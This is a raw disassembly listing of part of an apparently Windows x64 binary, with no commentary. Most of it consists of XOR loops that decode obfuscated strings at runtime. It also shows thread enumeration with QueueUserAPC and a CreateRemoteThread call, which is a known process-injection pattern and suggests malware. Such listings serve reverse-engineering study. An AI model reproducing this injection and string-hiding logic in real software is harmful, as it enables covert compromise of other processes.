imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002ca30
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0xe90]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe90]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xe90]
call fcn.140040140
mov eax, dword [0x1400ecb3c]
cmp eax, 1
jne 0x14002cfbe
movups xmm0, xmmword [0x1400d4d38]
movups xmmword [rbp + 0xb50], xmm0
movups xmm1, xmmword [0x1400d4d48]
movups xmmword [rbp + 0xb60], xmm1
movups xmm0, xmmword [0x1400d4d58]
movups xmmword [rbp + 0xb70], xmm0
mov eax, dword [0x1400d4d68]
mov dword [rbp + 0xb80], eax
movzx eax, byte [0x1400d4d6c]
mov byte [rbp + 0xb84], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002cbfd
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xb50]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002cb10
cmp r8d, 0x35
jge 0x14002cc3f
movsxd rax, r8d
lea r9, [rbp + 0xb50]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14002cc10
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xeb0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xeb0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xeb0]
call fcn.140040140
mov edx, edi
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14002cd3c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12fc], xmm0
mov qword [rbp + 0x130c], rbx
mov dword [rbp + 0x12f8], Ordinal_33
lea rdx, [rbp + 0x12f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14002cd33
mov r13, qword [rsp + 0x58]
mov r14, qword [rbp + 0x1370]
nop dword [rax + rax]
cmp dword [rbp + 0x1304], edi
jne 0x14002cd12
mov r8d, dword [rbp + 0x1300]
xor edx, edx
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x14002cd0c
mov r8, r14
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp + 0x12c8]
lea rdx, [rbp + 0x12f8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14002ccd0
mov r13d, reloc.WS2_32.dll_recv
mov r14, qword [rbp + 0x348]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsd xmm0, qword [0x1400d6448]
movups xmm2, xmmword [str.40xTX_K__b___2__ikjm_DEP]
movsd qword [rbp - 8], xmm0
movups xmmword [rbp - 0x18], xmm2
mov r8d, ebx
cmp r15d, 2
jl 0x14002d691
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x18], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x14]
xorps xmm2, xmm1
movd dword [rbp - 0x14], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x10]
xorps xmm2, xmm1
movd dword [rbp - 0x10], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm2, xmm1
movd dword [rbp - 0xc], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp - 8]
xorps xmm15, xmm1
movd dword [rbp - 8], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, ecx
paddb xmm6, xmm0
movd xmm1, dword [rbp - 4]
xorps xmm6, xmm1
movd dword [rbp - 4], xmm6
jmp 0x14002d6d2
cmp eax, 2
jne 0x14002cd3c
movups xmm0, xmmword [str.pTQYJV__b]
movups xmmword [rbp + 0xa30], xmm0
movups xmm1, xmmword [0x1400d5518]
movups xmmword [rbp + 0xa40], xmm1
mov eax, dword [0x1400d5528]
mov dword [rbp + 0xa50], eax
movzx eax, word [0x1400d552c]
mov word [rbp + 0xa54], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002d10d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa30]
mov edx, dword [rbp + 0x1320]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14002d020
cmp r8d, 0x26
jge 0x14002d14f
movsxd rax, r8d
lea r9, [rbp + 0xa30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14002d120
lea rdx, [rbp + 0xa30]
lea rcx, [rbp + 0xed0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xed0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xed0]
call fcn.140040140
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rax, qword [rbp + 0x1370]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14002cd3c
lea rdx, [rbp + 0x1240]
call fcn.14002eec0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14002d3af
mov r8d, ebx
cmp r15d, 2
jl 0x14002d37a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, r13d
mov r9d, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002d380
mov rcx, r10
call fcn.1400163d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1288]
call fcn.14002eef0
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002ee46
cmp r15d, 2
jl 0x14002d651
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, Ordinal_27
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002ee46
jmp 0x14002d660
lea r9, [rbp - 0x18]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14002d6a0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xef0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xef0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xef0]
call fcn.140040140
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14002d937
movups xmm2, xmmword [str.zVTOXv._.d_]
movups xmmword [rbp + 0x258], xmm2
movzx eax, word [0x1400d6e68]
mov word [rbp + 0x268], ax
cmp r15d, 2
jl 0x14002d8f0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x258], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x25c]
xorps xmm11, xmm1
movd dword [rbp + 0x25c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x260]
xorps xmm10, xmm1
movd dword [rbp + 0x260], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x264]
xorps xmm13, xmm1
movd dword [rbp + 0x264], xmm13
mov ebx, r13d
mov eax, ebx
lea r8, [rbp + 0x258]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x12
jl 0x14002d900
lea rcx, [rbp + 0x258]
call fcn.1400163d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x14e0]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x1538]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x1510]
call fcn.1400038f0
jmp 0x14002e3c2
lea rdx, [rbp + 0x1168]
call fcn.14002ef20
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14002db02
mov r8d, ebx
cmp r15d, 2
jl 0x14002dacb
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14002db02
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14002dad0
mov rcx, r10
call fcn.1400163d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1270]
call fcn.14002ef40
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002ee69
cmp r15d, 2
jl 0x14002dcd6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jge 0x14002ee69
jmp 0x14002dce0
call fcn.14001db70
call fcn.14001e3c0
movups xmm2, xmmword [str.40kNR_Z32b_1f____AGN]
movups xmmword [rbp + 0x270], xmm2
mov edx, dword [0x1400d68e0]
mov dword [rbp + 0x280], edx
movzx eax, word [0x1400d68e4]
mov word [rbp + 0x284], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002df6d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x270], xmm1
